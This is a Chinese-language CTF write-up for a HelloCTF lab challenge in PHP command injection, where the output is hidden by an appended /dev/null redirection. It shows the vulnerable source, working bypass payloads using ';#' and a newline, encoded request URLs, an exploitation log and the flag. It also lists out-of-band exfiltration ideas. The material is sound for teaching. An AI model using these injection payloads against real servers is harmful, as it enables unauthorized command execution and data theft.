HelloCTF RCE-labs Level 8 题解:命令执行 · 重定向

HelloCTF RCE-labs Level 8 题解:命令执行 · 重定向

本文字数:2994  阅读时长:6分钟

访问量 0

HelloCTF RCE lv8靶场 · 命令执行 · 重定向 —— Writeup

项目内容
题名HelloCTF - RCE 靶场:命令执行 - 重定向
靶场地址http://80-cb079509-7e51-4321-928e-f2b307c31f76.challenge.ctfplus.cn/
题型PHP 命令执行 + 输出重定向屏蔽
环境nginx/1.20.2 + PHP-FPM,运行身份 www-data(uid=82)
最终 payload?cmd=cat%20/flag%3B%23
FlagGeesec{7502f60c-5f96-4f70-9c13-34bb164bad3b}
解题日期2026-11-06

一、题目源码

访问首页 GET /,服务端直接 highlight_file(__FILE__),把源码高亮打印了出来:

php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 重定向 ---

大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回​​到您的终端。
一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。
同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端
—— 这些是命令有回显的基础。

如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null:
$ command > /dev/null

/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,
那么什么也读不到。但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到"禁止输出"的效果。
如果希望屏蔽 stdout 和 stderr,可以这样写:
$ command > /dev/null 2>&1
*/

function hello_shell($cmd){
    /*>/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉*/
    system($cmd.">/dev/null 2>&1");
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);
?>

二、源码分析:四个关键事实

代码抄出的事实对解题的影响
isset($_GET['cmd'])参数名 cmd,GET 方式传入入口是 /?cmd=xxx,不是 /cmd=?...
system($cmd)命令执行点,无过滤、无白名单、无长度限制直接打命令,不用绕 WAF
.">/dev/null 2>&1"用户输入被拼接上一段重定向,输出全部丢弃本题唯一障碍
highlight_file(__FILE__)每次响应末尾都会再打印一遍源码干扰项,要会从响应里分辨命令输出

为什么输出会消失

system() 底层执行的是 /bin/sh -c "拼好的整条字符串"。传入 ls / 时,shell 实际看到的是:

sh
ls / >/dev/null 2>&1
片段作用
>/dev/null把 stdout 改指向黑洞,内容直接被丢弃
2>&1把 stderr 也指向 stdout(此刻已指向黑洞),错误一并吞掉

核心语法点:重定向属于「它前面那一条简单命令」,不属于整个字符串。

sh
a ; b >/dev/null     # 只吞 b 的输出,a 正常回显

这就是破题的口子 —— 只要让 >/dev/null 2>&1 挂到一条「没用的命令」上,而不是挂在我的 cat 后面。


三、两个典型卡点

卡点 1:请求路径写错

错误写法(实测翻车):

text
GET /cmd=?ls%20/la HTTP/1.1
  • 路径被写成 /cmd=,nginx 找不到该文件,走 index.php 兜底
  • 参数名 cmd 丢失,ls /la 成了没有键名的查询串
  • 结果:永远只返回首页源码,看起来「什么都没发生」

正确写法:

text
GET /?cmd=ls%20/la HTTP/1.1

卡点 2:把「无回显」误判为「参数没生效」

现象错误结论正确结论
?cmd=id 只返回源码,没有 uid=参数名错了 / 要用 POST / 要访问 cmd.php命令已执行,只是 stdout 被 >/dev/null 搬走了

这一点从源码就能直接判定,不需要做实验。源码已经写明输出被吞,所以无回显是预期行为。


四、绕过原理:两种手敲方案

方案 A:注释符截断(推荐,最短)

sh
payload:  cat /flag;#
拼接后:   cat /flag;#>/dev/null 2>&1
POSIX shell 中,# 出现在一个词的开头(前面是行首、空白,或 ; & `(` 这类元字符)时,就开启注释直到行尾。

这里 # 紧跟在 ; 之后,满足条件,后面那串 >/dev/null 2>&1 被整段忽略,不再是语法元素,cat 的 stdout 保持连在 HTTP 响应体上。

方案 B:换行截断

sh
payload:  cat /flag%0A          (%0A = \n)
拼接后:   cat /flag
          >/dev/null 2>&1

换行把一条命令拆成两条。第二行是「只有重定向、没有命令词」的合法空命令 —— shell 执行完重定向后什么也不做,退出码 0。第一行的输出正常吐出。

无效思路(别浪费时间)

思路为什么失败
cat /flag 1>&2输出转到 stderr,但 2>&1 随后把 stderr 也指向了 /dev/null
cat /flag | teetee 的输出仍走 stdout,照样被吞
cat /dev/null特殊文件,读到的永远是空
故意报错探路PHP-FPM 下 system() 的 stderr 进 web server 的 error log,不进 HTTP 响应体(实测:加不加绕过都看不到报错)

五、完整解题步骤(全部实测)

步请求返回推出什么
1GET /高亮的 PHP 源码题面即源码,参数名 cmd
2?cmd=id只有源码,无 uid=命令执行了但输出被吞,属预期
3?cmd=id%3B%23uid=82(www-data) gid=82(www-data)① 参数生效 ② 命令执行 ③ 绕过有效,三件事一次验证
4?cmd=ls%20/%3B%23etc flag home lib ...根目录下有 flag
5?cmd=ls%20-l%20/%3B%23-rwxr--r-- 1 root root 45 flag是文件不是目录,45 字节,全局可读 → 直接 cat
6?cmd=cat%20/flag%3B%23Geesec{7502f60c-...}拿到 flag

第 5 步别省 —— ls -l 决定你后面是 cat 还是 cd 进去。

可直接粘进地址栏的完整 URL

text
http://80-cb079509-7e51-4321-928e-f2b307c31f76.challenge.ctfplus.cn/?cmd=cat%20/flag%3B%23

六、Payload 编码对照表

手敲时的三个必背点:

字符必须写成原因
#%23浏览器会把它当 fragment 锚点,后面的内容根本不会发给服务器
空格%20否则请求行被拆断,直接 400
;%3Bquery 中虽合法,但编码后最稳;Burp Repeater 里可直接写 ;

在 Burp Repeater 里手敲时,请求行写成:

text
GET /?cmd=cat%20/flag%3B%23 HTTP/1.1

不要指望 Burp 帮你编码。


七、读响应的技巧

这个页面的响应结构永远是:

text
[命令输出纯文本]         ← 你要的东西在这里
<code><span ...>源码     ← highlight_file 打的,永远存在
</code>

命令输出在响应最顶部、HTML 之前。在浏览器里看到一大坨彩色 HTML 就以为「失败了」,是新手最常见的误判 —— flag 通常就在第一行。


八、从「注释」到「payload」的推导链

题目注释不是「flag 在哪」的提示,而是把要绕过的机制讲给你听。逐句对照:

注释原话暴露的事实对 payload 的意义
「命令通常将其输出写入标准输出,默认这也是你的终端 —— 这些是命令有回显的基础」回显通道 = stdout本题只有 stdout 一条路,别指望 stderr
「command > /dev/null,写入的内容都会被丢弃」屏蔽手段 = stdout 改指向黑洞输出没消失,是被搬走了
「/dev/null 是特殊文件,尝试读取什么也读不到」排除 cat /dev/null少走一条死路
「/>/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉」作者已堵「报错泄漏」排除「故意报错探路」
system($cmd.">/dev/null 2>&1")尾巴被硬编码拼接,字节完全已知不用猜,可精确针对这串字节做手术

推导三步:

text
① 注释说「stdout 连终端才是回显的基础」
   → cat /flag 没输出,不是没执行,是 stdout 被改道了

② 代码说「$cmd 后面拼了 >/dev/null 2>&1」
   → 这段字节在语法上只能附着在「最后一个简单命令」上
       cat /flag  >/dev/null 2>&1   ← 只能附在 cat 上,必死

③ 让它「附不上去」即可
   cat /flag ; #  >/dev/null 2>&1    ← # 让后半截变注释
   cat /flag \n   >/dev/null 2>&1    ← \n 让后半截附在空命令上

关键在第 ② 步:注释告诉你尾巴是「拼接」的、是「后缀」。既是后缀,就一定只有最后一个简单命令能承接它。找到这个语法归属点,才有 ; + # 的切入点。


九、可复用的方法论

碰到「命令能执行但没回显」的题,按这个顺序想:

顺序要问的问题对应手法
1能不能让拼在尾部的重定向失效?;# 注释、%0A 换行
2能不能把输出写到可访问的地方?> /var/www/html/x、写日志
3能不能带外传出去?curl / ping / DNSLog
4有没有别的回显通道?报错、时间盲注(sleep)、退出码

本题属于第 1 类,最短也最干净。

看到源码里带大段注释的靶场,别当「题面废话」跳过,按这个顺序读:

  1. 注释在讲哪个 Linux/Shell 概念?(这里是重定向)
  2. 这个概念在这段代码里被用来干什么?(屏蔽我的回显)
  3. 这个概念在语法上的边界在哪?(重定向只作用于一条简单命令)
  4. 边界处就是突破口。

十、汇总表

项目内容
题型PHP 命令执行 + 输出重定向屏蔽
入口GET /?cmd=<命令>(参数名来自 $_GET['cmd'])
执行点system($cmd.">/dev/null 2>&1"),无任何过滤
核心障碍输出被拼接重定向到 /dev/null,stdout + stderr 双通道全灭
突破依据重定向只能附着在最后一条简单命令上;; + # 让它失去承接对象
验证顺序id 验证 → ls / 定位 → ls -l 确认属性 → cat 取值
最优 payload?cmd=cat%20/flag%3B%23
备用 payload?cmd=cat%20/flag%0A
无效思路1>&2、|tee、cat /dev/null、靠报错探路
编码要点#→%23、空格→%20、;→%3B
响应阅读命令输出在响应最前,源码高亮在最后
FlagGeesec{7502f60c-5f96-4f70-9c13-34bb164bad3b}

一句话总结:源码把「怎么屏蔽我」写明了,我只需要在它屏蔽的语法边界上插一个 ; 和一个 #。